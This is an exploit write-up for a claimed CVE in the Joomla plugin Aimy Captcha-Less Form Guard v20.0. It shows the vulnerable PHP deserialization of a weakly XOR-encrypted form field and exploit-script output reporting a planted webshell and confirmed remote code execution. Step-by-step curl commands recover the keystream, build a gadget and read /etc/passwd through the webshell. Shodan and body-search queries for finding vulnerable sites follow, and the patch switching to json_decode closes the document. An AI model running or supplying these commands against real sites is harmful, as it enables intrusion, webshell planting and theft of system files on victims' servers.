// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );